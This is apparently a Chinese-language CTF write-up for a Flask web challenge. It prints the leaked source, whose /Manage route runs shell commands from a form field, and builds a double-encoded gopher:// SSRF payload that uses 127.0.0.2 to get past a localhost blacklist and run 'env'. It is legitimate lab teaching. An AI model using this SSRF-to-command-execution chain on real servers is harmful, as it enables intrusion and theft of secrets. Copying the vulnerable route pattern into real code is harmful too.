step 1 目录泄露
/app.py
step 2 分析代码
整理得到
from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import random app = Flask(__name__)
BlackList = [ "127.0.0.1"
] @app.route('/Login', methods=['GET', 'POST'])
def login(): junk_code() if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest(): return b64e(f"Welcome back, {username}!") return b64e("Invalid credentials!") return render_template_string(""" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f8f9fa; } .container { max-width: 400px; margin-top: 100px; } .card { border: none; border-radius: 10px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } .card-header { background-color: #007bff; color: white; text-align: center; border-radius: 10px 10px 0 0; } .btn-primary { background-color: #007bff; border: none; } .btn-primary:hover { background-color: #0056b3; } </style> </head> <body> <div class="container"> <div class="card"> <div class="card-header"> <h3>Login</h3> </div> <div class="card-body"> <form method="POST"> <div class="mb-3"> <label for="username" class="form-label">Username</label> <input type="text" class="form-control" id="username" name="username" required> </div> <div class="mb-3"> <label for="password" class="form-label">Password</label> <input type="password" class="form-control" id="password" name="password" required> </div> <button type="submit" class="btn btn-primary w-100">Login</button> </form> </div> </div> </div> </body> </html> """) @app.route('/Gopher')
def visit(): url = request.args.get('url') if url is None: return "No url provided :)" url = urlparse(url) realIpAddress = socket.gethostbyname(url.hostname) if url.scheme == "file" or realIpAddress in BlackList: return "No (≧∇≦)" result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True) return result.stdout @app.route('/RRegister', methods=['GET', 'POST'])
def register(): junk_code() if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') if username in users: return b64e("Username already exists!") users[username] = {'password': hashlib.md5(password.encode()).hexdigest()} return b64e("Registration successful!") return render_template_string(""" xxx """) @app.route('/Manage', methods=['POST'])
def cmd(): if request.remote_addr != "127.0.0.1": return "Forbidden!!!" if request.method == "GET": return "Allowed!!!" if request.method == "POST": return os.popen(request.form.get("cmd")).read() @app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar(): junk_code() if request.method == 'POST': username = request.form.get('username') if username not in users: return b64e("User not found!") file = request.files.get('avatar') if file: file.save(os.path.join(avatar_dir, f"{username}.png")) return b64e("Avatar uploaded successfully!") return b64e("No file uploaded!") return render_template_string(""" xxx """) @app.route('/app.py')
def download_source(): return send_file(__file__, as_attachment=True) if __name__ == '__main__': app.run(host='0.0.0.0', port=8000)
命令执行路由必须由本地访问
@app.route('/Manage', methods=['POST'])
def cmd(): if request.remote_addr != "127.0.0.1": return "Forbidden!!!" if request.method == "GET": return "Allowed!!!" if request.method == "POST": return os.popen(request.form.get("cmd")).read()
我们需要利用SSRF,请求/Manage
路由,但是http://协议并不能携带POST参数,我们需要构造gopher请求
step 3 构造gopher请求
什么是Gopher协议?
Gopher是一种面向文档的分布式信息检索协议,诞生于1991年,比万维网(WWW)出现还早。它曾经用于在互联网中以层级目录的形式组织和访问文档。Gopher协议的URL以
gopher://
开头,使用简单的请求-响应模式。然而,由于HTTP协议的兴起,Gopher协议逐渐被淘汰。
Gopher协议基本格式
Gopher URL的标准结构如下:
gopher://<host>:<port>/<gopher-path>
<host>
: 目标服务器IP或域名<port>
: 目标服务端口(默认70)<gopher-path>
: 协议路径(包含请求数据编码)
关键语法规则
1. 请求数据编码
Gopher协议的 <gopher-path>
部分会被 原样转换为原始TCP数据流 发送给目标服务器,需按以下规则编写:
- 换行符:必须使用
\r\n
(即URL编码为%0D%0A
) - 特殊字符:需进行URL编码(如空格→
%20
,问号→%3F
) - 首字符:第一个字符表示资源类型(可忽略,通常用
_
或1
占位)
2. 数据流格式
构造的Gopher请求本质是发送原始TCP数据流。
_POST /Manage HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:7cmd=env
因为接受参数的时候就会解一次,编码一次到gopher://调用的时候就不是编码的了,所以必须url编码两次
_POST%2520/Manage%2520HTTP/1.1%250D%250Ahost:127.0.0.1%250D%250AContent-Type:application/x-www-form-urlencoded%250D%250AContent-Length:7%250D%250A%250D%250Acmd=env
加上gopher://127.0.0.2:8000/
gopher://127.0.0.2:8000/_POST%2520/Manage%2520HTTP/1.1%250D%250Ahost:127.0.0.1%250D%250AContent-Type:application/x-www-form-urlencoded%250D%250AContent-Length:7%250D%250A%250D%250Acmd=env